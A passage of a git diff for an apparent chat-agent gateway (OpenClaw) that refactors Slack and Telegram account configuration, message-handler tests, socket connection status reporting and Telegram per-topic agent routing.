slashCommand?: SlackAccountConfig["slashCommand"]; + dm?: SlackAccountConfig["dm"]; + channels?: SlackAccountConfig["channels"]; +}; diff --git a/src/slack/accounts.ts b/src/slack/accounts.ts index b997a2cccd7..6e5aed59fa2 100644 --- a/src/slack/accounts.ts +++ b/src/slack/accounts.ts @@ -4,6 +4,7 @@ import type { OpenClawConfig } from "../config/config.js"; import type { SlackAccountConfig } from "../config/types.js"; import { resolveAccountEntry } from "../routing/account-lookup.js"; import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; +import type { SlackAccountSurfaceFields } from "./account-surface-fields.js"; import { resolveSlackAppToken, resolveSlackBotToken, resolveSlackUserToken } from "./token.js"; export type SlackTokenSource = "env" | "config" | "none"; @@ -19,18 +20,7 @@ export type ResolvedSlackAccount = { appTokenSource: SlackTokenSource; userTokenSource: SlackTokenSource; config: SlackAccountConfig; - groupPolicy?: SlackAccountConfig["groupPolicy"]; - textChunkLimit?: SlackAccountConfig["textChunkLimit"]; - mediaMaxMb?: SlackAccountConfig["mediaMaxMb"]; - reactionNotifications?: SlackAccountConfig["reactionNotifications"]; - reactionAllowlist?: SlackAccountConfig["reactionAllowlist"]; - replyToMode?: SlackAccountConfig["replyToMode"]; - replyToModeByChatType?: SlackAccountConfig["replyToModeByChatType"]; - actions?: SlackAccountConfig["actions"]; - slashCommand?: SlackAccountConfig["slashCommand"]; - dm?: SlackAccountConfig["dm"]; - channels?: SlackAccountConfig["channels"]; -}; +} & SlackAccountSurfaceFields; const { listAccountIds, resolveDefaultAccountId } = createAccountListHelpers("slack"); export const listSlackAccountIds = listAccountIds; @@ -43,7 +33,10 @@ function resolveAccountConfig( return resolveAccountEntry(cfg.channels?.slack?.accounts, accountId); } -function mergeSlackAccountConfig(cfg: OpenClawConfig, accountId: string): SlackAccountConfig { +export function mergeSlackAccountConfig( + cfg: OpenClawConfig, + accountId: string, +): SlackAccountConfig { const { accounts: _ignored, ...base } = (cfg.channels?.slack ?? {}) as SlackAccountConfig & { accounts?: unknown; }; diff --git a/src/slack/monitor/events/interactions.ts b/src/slack/monitor/events/interactions.ts index 4f92df32be7..deca761dd52 100644 --- a/src/slack/monitor/events/interactions.ts +++ b/src/slack/monitor/events/interactions.ts @@ -37,26 +37,7 @@ type SelectOption = { text?: { text?: string }; }; -type InteractionSelectionFields = { - actionType?: string; - blockId?: string; - inputKind?: "text" | "number" | "email" | "url" | "rich_text"; - value?: string; - selectedValues?: string[]; - selectedUsers?: string[]; - selectedChannels?: string[]; - selectedConversations?: string[]; - selectedLabels?: string[]; - selectedDate?: string; - selectedTime?: string; - selectedDateTime?: number; - inputValue?: string; - inputNumber?: number; - inputEmail?: string; - inputUrl?: string; - richTextValue?: unknown; - richTextPreview?: string; -}; +type InteractionSelectionFields = Partial; type InteractionSummary = InteractionSelectionFields & { interactionType?: "block_action" | "view_submission" | "view_closed"; diff --git a/src/slack/monitor/message-handler.app-mention-race.test.ts b/src/slack/monitor/message-handler.app-mention-race.test.ts index c84b6514b43..8c6afb15a8b 100644 --- a/src/slack/monitor/message-handler.app-mention-race.test.ts +++ b/src/slack/monitor/message-handler.app-mention-race.test.ts @@ -67,6 +67,55 @@ function createMarkMessageSeen() { }; } +function createTestHandler() { + return createSlackMessageHandler({ + ctx: { + cfg: {}, + accountId: "default", + app: { client: {} }, + runtime: {}, + markMessageSeen: createMarkMessageSeen(), + } as Parameters[0]["ctx"], + account: { accountId: "default" } as Parameters[0]["account"], + }); +} + +function createSlackEvent(params: { type: "message" | "app_mention"; ts: string; text: string }) { + return { type: params.type, channel: "C1", ts: params.ts, text: params.text } as never; +} + +async function sendMessageEvent(handler: ReturnType, ts: string) { + await handler(createSlackEvent({ type: "message", ts, text: "hello" }), { source: "message" }); +} + +async function sendMentionEvent(handler: ReturnType, ts: string) { + await handler(createSlackEvent({ type: "app_mention", ts, text: "<@U_BOT> hello" }), { + source: "app_mention", + wasMentioned: true, + }); +} + +async function createInFlightMessageScenario(ts: string) { + let resolveMessagePrepare: ((value: unknown) => void) | undefined; + const messagePrepare = new Promise((resolve) => { + resolveMessagePrepare = resolve; + }); + prepareSlackMessageMock.mockImplementation(async ({ opts }) => { + if (opts.source === "message") { + return messagePrepare; + } + return { ctxPayload: {} }; + }); + + const handler = createTestHandler(); + const messagePending = handler(createSlackEvent({ type: "message", ts, text: "hello" }), { + source: "message", + }); + await Promise.resolve(); + + return { handler, messagePending, resolveMessagePrepare }; +} + describe("createSlackMessageHandler app_mention race handling", () => { beforeEach(() => { prepareSlackMessageMock.mockReset(); @@ -81,144 +130,36 @@ describe("createSlackMessageHandler app_mention race handling", () => { return { ctxPayload: {} }; }); - const handler = createSlackMessageHandler({ - ctx: { - cfg: {}, - accountId: "default", - app: { client: {} }, - runtime: {}, - markMessageSeen: createMarkMessageSeen(), - } as Parameters[0]["ctx"], - account: { accountId: "default" } as Parameters< - typeof createSlackMessageHandler - >[0]["account"], - }); + const handler = createTestHandler(); - await handler( - { type: "message", channel: "C1", ts: "1700000000.000100", text: "hello" } as never, - { source: "message" }, - ); - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000100", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000100", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); + await sendMessageEvent(handler, "1700000000.000100"); + await sendMentionEvent(handler, "1700000000.000100"); + await sendMentionEvent(handler, "1700000000.000100"); expect(prepareSlackMessageMock).toHaveBeenCalledTimes(2); expect(dispatchPreparedSlackMessageMock).toHaveBeenCalledTimes(1); }); it("allows app_mention while message handling is still in-flight, then keeps later duplicates deduped", async () => { - let resolveMessagePrepare: ((value: unknown) => void) | undefined; - const messagePrepare = new Promise((resolve) => { - resolveMessagePrepare = resolve; - }); - prepareSlackMessageMock.mockImplementation(async ({ opts }) => { - if (opts.source === "message") { - return messagePrepare; - } - return { ctxPayload: {} }; - }); + const { handler, messagePending, resolveMessagePrepare } = + await createInFlightMessageScenario("1700000000.000150"); - const handler = createSlackMessageHandler({ - ctx: { - cfg: {}, - accountId: "default", - app: { client: {} }, - runtime: {}, - markMessageSeen: createMarkMessageSeen(), - } as Parameters[0]["ctx"], - account: { accountId: "default" } as Parameters< - typeof createSlackMessageHandler - >[0]["account"], - }); - - const messagePending = handler( - { type: "message", channel: "C1", ts: "1700000000.000150", text: "hello" } as never, - { source: "message" }, - ); - await Promise.resolve(); - - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000150", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); + await sendMentionEvent(handler, "1700000000.000150"); resolveMessagePrepare?.(null); await messagePending; - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000150", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); + await sendMentionEvent(handler, "1700000000.000150"); expect(prepareSlackMessageMock).toHaveBeenCalledTimes(2); expect(dispatchPreparedSlackMessageMock).toHaveBeenCalledTimes(1); }); it("suppresses message dispatch when app_mention already dispatched during in-flight race", async () => { - let resolveMessagePrepare: ((value: unknown) => void) | undefined; - const messagePrepare = new Promise((resolve) => { - resolveMessagePrepare = resolve; - }); - prepareSlackMessageMock.mockImplementation(async ({ opts }) => { - if (opts.source === "message") { - return messagePrepare; - } - return { ctxPayload: {} }; - }); + const { handler, messagePending, resolveMessagePrepare } = + await createInFlightMessageScenario("1700000000.000175"); - const handler = createSlackMessageHandler({ - ctx: { - cfg: {}, - accountId: "default", - app: { client: {} }, - runtime: {}, - markMessageSeen: createMarkMessageSeen(), - } as Parameters[0]["ctx"], - account: { accountId: "default" } as Parameters< - typeof createSlackMessageHandler - >[0]["account"], - }); - - const messagePending = handler( - { type: "message", channel: "C1", ts: "1700000000.000175", text: "hello" } as never, - { source: "message" }, - ); - await Promise.resolve(); - - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000175", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); + await sendMentionEvent(handler, "1700000000.000175"); resolveMessagePrepare?.({ ctxPayload: {} }); await messagePending; @@ -230,32 +171,10 @@ describe("createSlackMessageHandler app_mention race handling", () => { it("keeps app_mention deduped when message event already dispatched", async () => { prepareSlackMessageMock.mockResolvedValue({ ctxPayload: {} }); - const handler = createSlackMessageHandler({ - ctx: { - cfg: {}, - accountId: "default", - app: { client: {} }, - runtime: {}, - markMessageSeen: createMarkMessageSeen(), - } as Parameters[0]["ctx"], - account: { accountId: "default" } as Parameters< - typeof createSlackMessageHandler - >[0]["account"], - }); + const handler = createTestHandler(); - await handler( - { type: "message", channel: "C1", ts: "1700000000.000200", text: "hello" } as never, - { source: "message" }, - ); - await handler( - { - type: "app_mention", - channel: "C1", - ts: "1700000000.000200", - text: "<@U_BOT> hello", - } as never, - { source: "app_mention", wasMentioned: true }, - ); + await sendMessageEvent(handler, "1700000000.000200"); + await sendMentionEvent(handler, "1700000000.000200"); expect(prepareSlackMessageMock).toHaveBeenCalledTimes(1); expect(dispatchPreparedSlackMessageMock).toHaveBeenCalledTimes(1); diff --git a/src/slack/monitor/message-handler/prepare.test.ts b/src/slack/monitor/message-handler/prepare.test.ts index a5bdebc1e2d..a5007831a2b 100644 --- a/src/slack/monitor/message-handler/prepare.test.ts +++ b/src/slack/monitor/message-handler/prepare.test.ts @@ -7,12 +7,11 @@ import { expectInboundContextContract } from "../../../../test/helpers/inbound-c import type { OpenClawConfig } from "../../../config/config.js"; import { resolveAgentRoute } from "../../../routing/resolve-route.js"; import { resolveThreadSessionKeys } from "../../../routing/session-key.js"; -import type { RuntimeEnv } from "../../../runtime.js"; import type { ResolvedSlackAccount } from "../../accounts.js"; import type { SlackMessageEvent } from "../../types.js"; import type { SlackMonitorContext } from "../context.js"; -import { createSlackMonitorContext } from "../context.js"; import { prepareSlackMessage } from "./prepare.js"; +import { createInboundSlackTestContext, createSlackTestAccount } from "./prepare.test-helpers.js"; describe("slack prepareSlackMessage inbound contract", () => { let fixtureRoot = ""; @@ -38,53 +37,7 @@ describe("slack prepareSlackMessage inbound contract", () => { } }); - function createInboundSlackCtx(params: { - cfg: OpenClawConfig; - appClient?: App["client"]; - defaultRequireMention?: boolean; - replyToMode?: "off" | "all"; - channelsConfig?: Record; - }) { - return createSlackMonitorContext({ - cfg: params.cfg, - accountId: "default", - botToken: "token", - app: { client: params.appClient ?? {} } as App, - runtime: {} as RuntimeEnv, - botUserId: "B1", - teamId: "T1", - apiAppId: "A1", - historyLimit: 0, - sessionScope: "per-sender", - mainKey: "main", - dmEnabled: true, - dmPolicy: "open", - allowFrom: [], - allowNameMatching: false, - groupDmEnabled: true, - groupDmChannels: [], - defaultRequireMention: params.defaultRequireMention ?? true, - channelsConfig: params.channelsConfig, - groupPolicy: "open", - useAccessGroups: false, - reactionMode: "off", - reactionAllowlist: [], - replyToMode: params.replyToMode ?? "off", - threadHistoryScope: "thread", - threadInheritParent: false, - slashCommand: { - enabled: false, - name: "openclaw", - sessionPrefix: "slack:slash", - ephemeral: true, - }, - textLimit: 4000, - ackReactionScope: "group-mentions", - typingReaction: "", - mediaMaxBytes: 1024, - removeAckAfterReply: false, - }); - } + const createInboundSlackCtx = createInboundSlackTestContext; function createDefaultSlackCtx() { const slackCtx = createInboundSlackCtx({ @@ -115,19 +68,7 @@ describe("slack prepareSlackMessage inbound contract", () => { }); } - function createSlackAccount(config: ResolvedSlackAccount["config"] = {}): ResolvedSlackAccount { - return { - accountId: "default", - enabled: true, - botTokenSource: "config", - appTokenSource: "config", - userTokenSource: "none", - config, - replyToMode: config.replyToMode, - replyToModeByChatType: config.replyToModeByChatType, - dm: config.dm, - }; - } + const createSlackAccount = createSlackTestAccount; function createSlackMessage(overrides: Partial): SlackMessageEvent { return { diff --git a/src/slack/monitor/monitor.test.ts b/src/slack/monitor/monitor.test.ts index d6e819ca46d..748be0a212a 100644 --- a/src/slack/monitor/monitor.test.ts +++ b/src/slack/monitor/monitor.test.ts @@ -65,7 +65,7 @@ describe("resolveSlackChannelConfig", () => { // Slack always delivers channel IDs in uppercase (e.g. C0ABC12345). // Users commonly copy them in lowercase from docs or older CLI output. const res = resolveSlackChannelConfig({ - channelId: "C0ABC12345", + channelId: "C0ABC12345", // pragma: allowlist secret channels: { c0abc12345: { allow: true, requireMention: false } }, defaultRequireMention: true, }); @@ -75,7 +75,7 @@ describe("resolveSlackChannelConfig", () => { it("matches channel config key stored in uppercase when user types lowercase channel ID", () => { // Defensive: also handle the inverse direction. const res = resolveSlackChannelConfig({ - channelId: "c0abc12345", + channelId: "c0abc12345", // pragma: allowlist secret channels: { C0ABC12345: { allow: true, requireMention: false } }, defaultRequireMention: true, }); diff --git a/src/slack/monitor/provider.reconnect.test.ts b/src/slack/monitor/provider.reconnect.test.ts index b3638a209bf..81beaa59576 100644 --- a/src/slack/monitor/provider.reconnect.test.ts +++ b/src/slack/monitor/provider.reconnect.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; import { __testing } from "./provider.js"; class FakeEmitter { @@ -22,6 +22,54 @@ class FakeEmitter { } describe("slack socket reconnect helpers", () => { + it("seeds event liveness when socket mode connects", () => { + const setStatus = vi.fn(); + + __testing.publishSlackConnectedStatus(setStatus); + + expect(setStatus).toHaveBeenCalledTimes(1); + expect(setStatus).toHaveBeenCalledWith( + expect.objectContaining({ + connected: true, + lastConnectedAt: expect.any(Number), + lastEventAt: expect.any(Number), + lastError: null, + }), + ); + }); + + it("clears connected state when socket mode disconnects", () => { + const setStatus = vi.fn(); + const err = new Error("dns down"); + + __testing.publishSlackDisconnectedStatus(setStatus, err); + + expect(setStatus).toHaveBeenCalledTimes(1); + expect(setStatus).toHaveBeenCalledWith({ + connected: false, + lastDisconnect: { + at: expect.any(Number), + error: "dns down", + }, + lastError: "dns down", + }); + }); + + it("clears connected state without error when socket mode disconnects cleanly", () => { + const setStatus = vi.fn(); + + __testing.publishSlackDisconnectedStatus(setStatus); + + expect(setStatus).toHaveBeenCalledTimes(1); + expect(setStatus).toHaveBeenCalledWith({ + connected: false, + lastDisconnect: { + at: expect.any(Number), + }, + lastError: null, + }); + }); + it("resolves disconnect waiter on socket disconnect event", async () => { const client = new FakeEmitter(); const app = { receiver: { client } }; diff --git a/src/slack/monitor/provider.ts b/src/slack/monitor/provider.ts index b7a10588e3f..8686eb51367 100644 --- a/src/slack/monitor/provider.ts +++ b/src/slack/monitor/provider.ts @@ -18,6 +18,7 @@ import { } from "../../config/runtime-group-policy.js"; import type { SessionScope } from "../../config/sessions.js"; import { normalizeResolvedSecretInputString } from "../../config/types.secrets.js"; +import { createConnectedChannelStatusPatch } from "../../gateway/channel-status-patches.js"; import { warn } from "../../globals.js"; import { computeBackoff, sleepWithAbort } from "../../infra/backoff.js"; import { installRequestBodyLimitGuard } from "../../infra/http-body.js"; @@ -65,6 +66,33 @@ function parseApiAppIdFromAppToken(raw?: string) { return match?.[1]?.toUpperCase(); } +function publishSlackConnectedStatus(setStatus?: (next: Record) => void) { + if (!setStatus) { + return; + } + const now = Date.now(); + setStatus({ + ...createConnectedChannelStatusPatch(now), + lastError: null, + }); +} + +function publishSlackDisconnectedStatus( + setStatus?: (next: Record) => void, + error?: unknown, +) { + if (!setStatus) { + return; + } + const at = Date.now(); + const message = error ? formatUnknownError(error) : undefined; + setStatus({ + connected: false, + lastDisconnect: message ? { at, error: message } : { at }, + lastError: message ?? null, + }); +} + export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { const cfg = opts.config ?? loadConfig(); const runtime: RuntimeEnv = opts.runtime ?? createNonExitingRuntime(); @@ -390,6 +418,7 @@ export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { try { await app.start(); reconnectAttempts = 0; + publishSlackConnectedStatus(opts.setStatus); runtime.log?.("slack socket mode connected"); } catch (err) { // Auth errors (account_inactive, invalid_auth, etc.) are permanent — @@ -427,6 +456,7 @@ export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { if (opts.abortSignal?.aborted) { break; } + publishSlackDisconnectedStatus(opts.setStatus, disconnect.error); // Bail immediately on non-recoverable auth errors during reconnect too. if (disconnect.error && isNonRecoverableSlackAuthError(disconnect.error)) { @@ -481,6 +511,8 @@ export async function monitorSlackProvider(opts: MonitorSlackOpts = {}) { export { isNonRecoverableSlackAuthError } from "./reconnect-policy.js"; export const __testing = { + publishSlackConnectedStatus, + publishSlackDisconnectedStatus, resolveSlackRuntimeGroupPolicy: resolveOpenProviderRuntimeGroupPolicy, resolveDefaultGroupPolicy, getSocketEmitter, diff --git a/src/telegram/account-inspect.ts b/src/telegram/account-inspect.ts index 5c50c7d7d67..305e410d39a 100644 --- a/src/telegram/account-inspect.ts +++ b/src/telegram/account-inspect.ts @@ -3,9 +3,12 @@ import type { OpenClawConfig } from "../config/config.js"; import { hasConfiguredSecretInput, normalizeSecretInputString } from "../config/types.secrets.js"; import type { TelegramAccountConfig } from "../config/types.telegram.js"; import { resolveAccountWithDefaultFallback } from "../plugin-sdk/account-resolution.js"; -import { resolveAccountEntry } from "../routing/account-lookup.js"; import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "../routing/session-key.js"; -import { resolveDefaultTelegramAccountId } from "./accounts.js"; +import { + mergeTelegramAccountConfig, + resolveDefaultTelegramAccountId, + resolveTelegramAccountConfig, +} from "./accounts.js"; export type TelegramCredentialStatus = "available" | "configured_unavailable" | "missing"; @@ -20,31 +23,6 @@ export type InspectedTelegramAccount = { config: TelegramAccountConfig; }; -function resolveTelegramAccountConfig( - cfg: OpenClawConfig, - accountId: string, -): TelegramAccountConfig | undefined { - const normalized = normalizeAccountId(accountId); - return resolveAccountEntry(cfg.channels?.telegram?.accounts, normalized); -} - -function mergeTelegramAccountConfig(cfg: OpenClawConfig, accountId: string): TelegramAccountConfig { - const { - accounts: _ignored, - defaultAccount: _ignoredDefaultAccount, - groups: channelGroups, - ...base - } = (cfg.channels?.telegram ?? {}) as TelegramAccountConfig & { - accounts?: unknown; - defaultAccount?: unknown; - }; - const account = resolveTelegramAccountConfig(cfg, accountId) ?? {}; - const configuredAccountIds = Object.keys(cfg.channels?.telegram?.accounts ?? {}); - const isMultiAccount = configuredAccountIds.length > 1; - const groups = account.groups ?? (isMultiAccount ? undefined : channelGroups); - return { ...base, ...account, groups }; -} - function inspectTokenFile(pathValue: unknown): { token: string; tokenSource: "tokenFile" | "none"; diff --git a/src/telegram/accounts.ts b/src/telegram/accounts.ts index e3d86ec84b4..b8c656d1bfd 100644 --- a/src/telegram/accounts.ts +++ b/src/telegram/accounts.ts @@ -97,7 +97,7 @@ export function resolveDefaultTelegramAccountId(cfg: OpenClawConfig): string { return ids[0] ?? DEFAULT_ACCOUNT_ID; } -function resolveAccountConfig( +export function resolveTelegramAccountConfig( cfg: OpenClawConfig, accountId: string, ): TelegramAccountConfig | undefined { @@ -105,7 +105,10 @@ function resolveAccountConfig( return resolveAccountEntry(cfg.channels?.telegram?.accounts, normalized); } -function mergeTelegramAccountConfig(cfg: OpenClawConfig, accountId: string): TelegramAccountConfig { +export function mergeTelegramAccountConfig( + cfg: OpenClawConfig, + accountId: string, +): TelegramAccountConfig { const { accounts: _ignored, defaultAccount: _ignoredDefaultAccount, @@ -115,7 +118,7 @@ function mergeTelegramAccountConfig(cfg: OpenClawConfig, accountId: string): Tel accounts?: unknown; defaultAccount?: unknown; }; - const account = resolveAccountConfig(cfg, accountId) ?? {}; + const account = resolveTelegramAccountConfig(cfg, accountId) ?? {}; // In multi-account setups, channel-level `groups` must NOT be inherited by // accounts that don't have their own `groups` config. A bot that is not a @@ -138,7 +141,7 @@ export function createTelegramActionGate(params: { const accountId = normalizeAccountId(params.accountId); return createAccountActionGate({ baseActions: params.cfg.channels?.telegram?.actions, - accountActions: resolveAccountConfig(params.cfg, accountId)?.actions, + accountActions: resolveTelegramAccountConfig(params.cfg, accountId)?.actions, }); } diff --git a/src/telegram/bot-handlers.ts b/src/telegram/bot-handlers.ts index 6df34fe2c60..34b8b8de208 100644 --- a/src/telegram/bot-handlers.ts +++ b/src/telegram/bot-handlers.ts @@ -16,7 +16,11 @@ import { shouldDebounceTextInbound } from "../channels/inbound-debounce-policy.j import { resolveChannelConfigWrites } from "../channels/plugins/config-writes.js"; import { loadConfig } from "../config/config.js"; import { writeConfigFile } from "../config/io.js"; -import { loadSessionStore, resolveStorePath } from "../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, +} from "../config/sessions.js"; import type { DmPolicy } from "../config/types.base.js"; import type { TelegramDirectConfig, @@ -50,6 +54,7 @@ import { resolveTelegramGroupAllowFromContext, } from "./bot/helpers.js"; import type { TelegramContext } from "./bot/types.js"; +import { resolveTelegramConversationRoute } from "./conversation-route.js"; import { enforceTelegramDmAccess } from "./dm-access.js"; import { evaluateTelegramGroupBaseAccess, @@ -268,9 +273,10 @@ export const registerTelegramHandlers = ({ isForum: boolean; messageThreadId?: number; resolvedThreadId?: number; + senderId?: string | number; }): { agentId: string; - sessionEntry: ReturnType[string]; + sessionEntry: ReturnType[string] | undefined; model?: string; } => { const resolvedThreadId = @@ -279,26 +285,20 @@ export const registerTelegramHandlers = ({ isForum: params.isForum, messageThreadId: params.messageThreadId, }); - const peerId = params.isGroup - ? buildTelegramGroupPeerId(params.chatId, resolvedThreadId) - : String(params.chatId); - const parentPeer = buildTelegramParentPeer({ + const dmThreadId = !params.isGroup ? params.messageThreadId : undefined; + const topicThreadId = resolvedThreadId ?? dmThreadId; + const { topicConfig } = resolveTelegramGroupConfig(params.chatId, topicThreadId); + const { route } = resolveTelegramConversationRoute({ + cfg, + accountId, + chatId: params.chatId, isGroup: params.isGroup, resolvedThreadId, - chatId: params.chatId, - }); - const route = resolveAgentRoute({ - cfg, - channel: "telegram", - accountId, - peer: { - kind: params.isGroup ? "group" : "direct", - id: peerId, - }, - parentPeer, + replyThreadId: topicThreadId, + senderId: params.senderId, + topicAgentId: topicConfig?.agentId, }); const baseSessionKey = route.sessionKey; - const dmThreadId = !params.isGroup ? params.messageThreadId : undefined; const threadKeys = dmThreadId != null ? resolveThreadSessionKeys({ baseSessionKey, threadId: `${params.chatId}:${dmThreadId}` }) @@ -306,7 +306,7 @@ export const registerTelegramHandlers = ({ const sessionKey = threadKeys?.sessionKey ?? baseSessionKey; const storePath = resolveStorePath(cfg.session?.store, { agentId: route.agentId }); const store = loadSessionStore(storePath); - const entry = store[sessionKey]; + const entry = resolveSessionStoreEntry({ store, sessionKey }).existing; const storedOverride = resolveStoredModelOverride({ sessionEntry: entry, sessionStore: store, @@ -1179,7 +1179,15 @@ export const registerTelegramHandlers = ({ // Model selection callback handler (mdl_prov, mdl_list_*, mdl_sel_*, mdl_back) const modelCallback = parseModelCallbackData(data); if (modelCallback) { - const modelData = await buildModelsProviderData(cfg); + const sessionState = resolveTelegramSessionState({ + chatId, + isGroup, + isForum, + messageThreadId, + resolvedThreadId, + senderId, + }); + const modelData = await buildModelsProviderData(cfg, sessionState.agentId); const { byProvider, providers } = modelData; const editMessageWithButtons = async ( @@ -1238,14 +1246,15 @@ export const registerTelegramHandlers = ({ const safePage = Math.max(1, Math.min(page, totalPages)); // Resolve current model from session (prefer overrides) - const sessionState = resolveTelegramSessionState({ + const currentSessionState = resolveTelegramSessionState({ chatId, isGroup, isForum, messageThreadId, resolvedThreadId, + senderId, }); - const currentModel = sessionState.model; + const currentModel = currentSessionState.model; const buttons = buildModelsKeyboard({ provider, @@ -1259,8 +1268,8 @@ export const registerTelegramHandlers = ({ provider, total: models.length, cfg, - agentDir: resolveAgentDir(cfg, sessionState.agentId), - sessionEntry: sessionState.sessionEntry, + agentDir: resolveAgentDir(cfg, currentSessionState.agentId), + sessionEntry: currentSessionState.sessionEntry, }); await editMessageWithButtons(text, buttons); return; diff --git a/src/telegram/bot-message-context.topic-agentid.test.ts b/src/telegram/bot-message-context.topic-agentid.test.ts index b3b634b4768..d3e24060278 100644 --- a/src/telegram/bot-message-context.topic-agentid.test.ts +++ b/src/telegram/bot-message-context.topic-agentid.test.ts @@ -21,58 +21,51 @@ vi.mock("../config/config.js", async (importOriginal) => { }); describe("buildTelegramMessageContext per-topic agentId routing", () => { + function buildForumMessage(threadId = 3) { + return { + message_id: 1, + chat: { + id: -1001234567890, + type: "supergroup" as const, + title: "Forum", + is_forum: true, + }, + date: 1700000000, + text: "@bot hello", + message_thread_id: threadId, + from: { id: 42, first_name: "Alice" }, + }; + } + + async function buildForumContext(params: { + threadId?: number; + topicConfig?: Record; + }) { + return await buildTelegramMessageContextForTest({ + message: buildForumMessage(params.threadId), + options: { forceWasMentioned: true }, + resolveGroupActivation: () => true, + resolveTelegramGroupConfig: () => ({ + groupConfig: { requireMention: false }, + ...(params.topicConfig ? { topicConfig: params.topicConfig } : {}), + }), + }); + } + beforeEach(() => { vi.mocked(loadConfig).mockReturnValue(defaultRouteConfig as never); }); it("uses group-level agent when no topic agentId is set", async () => { - const ctx = await buildTelegramMessageContextForTest({ - message: { - message_id: 1, - chat: { - id: -1001234567890, - type: "supergroup", - title: "Forum", - is_forum: true, - }, - date: 1700000000, - text: "@bot hello", - message_thread_id: 3, - from: { id: 42, first_name: "Alice" }, - }, - options: { forceWasMentioned: true }, - resolveGroupActivation: () => true, - resolveTelegramGroupConfig: () => ({ - groupConfig: { requireMention: false }, - topicConfig: { systemPrompt: "Be nice" }, - }), - }); + const ctx = await buildForumContext({ topicConfig: { systemPrompt: "Be nice" } }); expect(ctx).not.toBeNull(); expect(ctx?.ctxPayload?.SessionKey).toBe("agent:main:telegram:group:-1001234567890:topic:3"); }); it("routes to topic-specific agent when agentId is set", async () => { - const ctx = await buildTelegramMessageContextForTest({ - message: { - message_id: 1, - chat: { - id: -1001234567890, - type: "supergroup", - title: "Forum", - is_forum: true, - }, - date: 1700000000, - text: "@bot hello", - message_thread_id: 3, - from: { id: 42, first_name: "Alice" }, - }, - options: { forceWasMentioned: true }, - resolveGroupActivation: () => true, - resolveTelegramGroupConfig: () => ({ - groupConfig: { requireMention: false }, - topicConfig: { agentId: "zu", systemPrompt: "I am Zu" }, - }), + const ctx = await buildForumContext({ + topicConfig: { agentId: "zu", systemPrompt: "I am Zu" }, }); expect(ctx).not.toBeNull(); @@ -82,27 +75,7 @@ describe("buildTelegramMessageContext per-topic agentId routing", () => { it("different topics route to different agents", async () => { const buildForTopic = async (threadId: number, agentId: string) => - await buildTelegramMessageContextForTest({ - message: { - message_id: 1, - chat: { - id: -1001234567890, - type: "supergroup", - title: "Forum", - is_forum: true, - }, - date: 1700000000, - text: "@bot hello", - message_thread_id: threadId, - from: { id: 42, first_name: "Alice" }, - }, - options: { forceWasMentioned: true }, - resolveGroupActivation: () => true, - resolveTelegramGroupConfig: () => ({ - groupConfig: { requireMention: false }, - topicConfig: { agentId }, - }), - }); + await buildForumContext({ threadId, topicConfig: { agentId } }); const ctxA = await buildForTopic(1, "main"); const ctxB = await buildForTopic(3, "zu"); @@ -117,26 +90,8 @@ describe("buildTelegramMessageContext per-topic agentId routing", () => { }); it("ignores whitespace-only agentId and uses group-level agent", async () => { - const ctx = await buildTelegramMessageContextForTest({ - message: { - message_id: 1, - chat: { - id: -1001234567890, - type: "supergroup", - title: "Forum", - is_forum: true, - }, - date: 1700000000, - text: "@bot hello", - message_thread_id: 3, - from: { id: 42, first_name: "Alice" }, - }, - options: { forceWasMentioned: true }, - resolveGroupActivation: () => true, - resolveTelegramGroupConfig: () => ({ - groupConfig: { requireMention: false }, - topicConfig: { agentId: " ", systemPrompt: "Be nice" }, - }), + const ctx = await buildForumContext({ + topicConfig: { agentId: " ", systemPrompt: "Be nice" }, }); expect(ctx).not.toBeNull(); @@ -152,27 +107,7 @@ describe("buildTelegramMessageContext per-topic agentId routing", () => { messages: { groupChat: { mentionPatterns: [] } }, } as never); - const ctx = await buildTelegramMessageContextForTest({ - message: { - message_id: 1, - chat: { - id: -1001234567890, - type: "supergroup", - title: "Forum", - is_forum: true, - }, - date: 1700000000, - text: "@bot hello", - message_thread_id: 3, - from: { id: 42, first_name: "Alice" }, - }, - options: { forceWasMentioned: true }, - resolveGroupActivation: () => true, - resolveTelegramGroupConfig: () => ({ - groupConfig: { requireMention: false }, - topicConfig: { agentId: "ghost" }, - }), - }); + const ctx = await buildForumContext({ topicConfig: { agentId: "ghost" } }); expect(ctx).not.toBeNull(); expect(ctx?.ctxPayload?.SessionKey).toContain("agent:main:"); diff --git a/src/telegram/bot-message-context.ts b/src/telegram/bot-message-context.ts index 72cfc527661..ab628dc0e0a 100644 --- a/src/telegram/bot-message-context.ts +++ b/src/telegram/bot-message-context.ts @@ -1,8 +1,5 @@ import type { Bot } from "grammy"; -import { - ensureConfiguredAcpRouteReady, - resolveConfiguredAcpRoute, -} from "../acp/persistent-bindings.route.js"; +import { ensureConfiguredAcpRouteReady } from "../acp/persistent-bindings.route.js"; import { resolveAckReaction } from "../agents/identity.js"; import { findModelInCatalog, @@ -42,19 +39,7 @@ import type { } from "../config/types.js"; import { logVerbose, shouldLogVerbose } from "../globals.js"; import { recordChannelActivity } from "../infra/channel-activity.js"; -import { getSessionBindingService } from "../infra/outbound/session-binding-service.js"; -import { - buildAgentSessionKey, - pickFirstExistingAgentId, - resolveAgentRoute, - type ResolvedAgentRoute, -} from "../routing/resolve-route.js"; -import { - DEFAULT_ACCOUNT_ID, - buildAgentMainSessionKey, - resolveAgentIdFromSessionKey, - resolveThreadSessionKeys, -} from "../routing/session-key.js"; +import { DEFAULT_ACCOUNT_ID, 